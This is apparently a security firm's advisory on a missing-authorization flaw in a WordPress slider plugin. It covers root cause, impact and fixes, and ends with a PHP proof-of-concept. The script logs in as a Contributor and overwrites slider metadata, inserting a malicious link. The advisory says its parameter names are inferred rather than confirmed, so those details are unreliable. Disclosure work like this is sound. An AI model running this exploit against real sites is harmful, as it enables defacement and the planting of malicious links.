Atomic Edge analysis of CVE-2026-0635 (metadata-based):
The Responsive Accordion Slider plugin for WordPress versions up to and including 1.2.2 contains a missing authorization vulnerability. This flaw allows authenticated users with Contributor-level permissions or higher to modify any slider’s image metadata without proper authorization. The vulnerability resides in the ‘resp_accordion_silder_save_images’ function.
Atomic Edge research identifies the root cause as a missing capability check (CWE-862). The plugin’s AJAX handler function ‘resp_accordion_silder_save_images’ likely registers via WordPress’s wp_ajax_ hook system. This function processes slider image metadata updates but fails to verify the user has appropriate permissions. The vulnerability description confirms attackers can modify any slider’s data, indicating the function also lacks ownership validation. These conclusions are inferred from the CWE classification and vulnerability description, as source code is unavailable for confirmation.
Exploitation requires an authenticated attacker with at least Contributor privileges. The attacker sends a POST request to /wp-admin/admin-ajax.php with the action parameter set to ‘resp_accordion_silder_save_images’. The payload includes parameters for slider ID, image IDs, and metadata fields like titles, descriptions, alt text, and links. WordPress’s AJAX system routes this request to the vulnerable function. No nonce verification appears present, as Contributor users would not normally have slider management capabilities.
Remediation requires adding proper authorization checks. The plugin must implement current_user_can() with an appropriate capability like ‘edit_posts’ or a custom capability specific to slider management. The function should also validate the user owns or has permission to modify the target slider. A nonce check should be added to prevent CSRF attacks. The patched version should perform these checks before processing any data modification.
Successful exploitation enables unauthorized data modification. Attackers can alter slider image titles, descriptions, alt text, and links. This could deface websites, insert malicious links, or degrade SEO through inappropriate alt text. The vulnerability does not permit privilege escalation or remote code execution. Data integrity is compromised, but confidentiality and availability remain unaffected.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
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// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-0635 - Responsive Accordion Slider <= 1.2.2 - Missing Authorization to Authenticated (Contributor+) Slider Update via 'resp_accordion_silder_save_images'
<?php
/**
* Proof of Concept for CVE-2026-0635
* Assumptions based on vulnerability description:
* 1. The plugin registers an AJAX handler at 'resp_accordion_silder_save_images'
* 2. No capability check exists for this handler
* 3. The endpoint accepts POST parameters for slider and image metadata
* 4. Contributor-level authentication is required
*/
$target_url = 'https://target-site.com';
$username = 'contributor_user';
$password = 'contributor_password';
// Initialize cURL session for WordPress login
$ch = curl_init();
// Step 1: Authenticate to obtain cookies
$login_url = $target_url . '/wp-login.php';
$login_fields = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
];
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($login_fields),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch);
// Step 2: Exploit the vulnerable AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Construct payload based on typical slider metadata structure
// The exact parameter names are inferred from the vulnerability description
$exploit_payload = [
'action' => 'resp_accordion_silder_save_images',
'slider_id' => 1, // Target slider ID
'images' => json_encode([
[
'id' => 1,
'title' => 'Modified Title',
'description' => 'Modified Description',
'alt' => 'Modified Alt Text',
'link' => 'https://malicious-site.com'
]
])
];
curl_setopt_array($ch, [
CURLOPT_URL => $ajax_url,
CURLOPT_POSTFIELDS => $exploit_payload,
CURLOPT_REFERER => $target_url . '/wp-admin/'
]);
$ajax_response = curl_exec($ch);
// Check for success indicators
if (strpos($ajax_response, 'success') !== false || strpos($ajax_response, 'updated') !== false) {
echo "[+] Exploit successful. Slider metadata modified.n";
echo "Response: " . $ajax_response . "n";
} else {
echo "[-] Exploit may have failed.n";
echo "Response: " . $ajax_response . "n";
}
curl_close($ch);
?>
